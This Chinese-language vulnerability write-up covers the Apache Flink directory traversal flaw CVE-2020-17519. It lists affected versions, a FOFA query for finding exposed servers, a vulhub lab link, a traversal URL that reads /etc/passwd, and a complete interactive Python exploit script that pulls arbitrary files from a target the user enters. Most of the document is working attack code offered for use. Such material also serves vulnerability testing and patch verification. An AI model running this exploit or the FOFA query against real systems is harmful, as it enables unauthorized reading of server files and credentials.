# Apache Flink 目录遍历漏洞 CVE-2020-17519
## 漏洞描述
2021年01月06日,360CERT监测发现`Apache Flink`发布了`Apache Flink 目录穿越漏洞,目录穿越漏洞`的风险通告,漏洞编号为`CVE-2020-17518,CVE-2020-17519`,漏洞等级:`高危`,漏洞评分:`8.5`。
远程攻击者通过`REST API`目录遍历,可造成`文件读取/写入`的影响。
## 漏洞影响
> [!NOTE]
>
> Apache Flink 1.11.0
>
> Apache Flink 1.11.1
>
> Apache Flink 1.11.2
## FOFA
> [!NOTE]
>
> app=”Apache Flink”
## 环境搭建
“`
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519
“`
## 漏洞复现
“`
POC:
http://xxx.xxx.xxx.xxx/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
“`
## 漏洞利用POC
“`python
import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: Apache Flink 1.11.0-1.11.2 \033[0m’)
print(‘+ \033[36m使用格式: python3 CVE-2020-17519.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mFile >>> /etc/passwd \033[0m’)
print(‘+——————————————‘)
def POC_1(target_url, file_name):
file_name = file_name.replace(“/”, “%252f”)
vuln_url = target_url + “/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}”.format(file_name)
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
print(“\033[32m[o] 请求URL : {}\033[0m”.format(vuln_url))
if “root” in response.text:
print(“\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m”.format(target_url, response.text))
else :
print(“\033[31m[x] 目标Url漏洞利用失败\033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 目标Url漏洞利用失败\033[0m”)
sys.exit(0)
def POC_2(target_url, file_name):
file_name_re = file_name.replace(“/”, “%252f”)
vuln_url = target_url + “/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}”.format(file_name_re)
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
print(“\033[32m[o] 请求URL : {}\033[0m”.format(vuln_url))
if “error” not in response.text:
print(“\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m”.format(target_url, file_name, response.text))
else :
print(“\033[31m[x] 目标文件{}读取失败\033[0m”.format(file_name))
except Exception as e:
print(“\033[31m[x] 目标Url漏洞利用失败\033[0m”)
sys.exit(0)
if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
file_name = “/etc/passwd”
POC_1(target_url, file_name)
while True:
file_name = input(“\033[35mFile >>> \033[0m”)
if file_name == “exit”:
sys.exit(0)
else:
POC_2(target_url, file_name)
“`
请登录后查看评论内容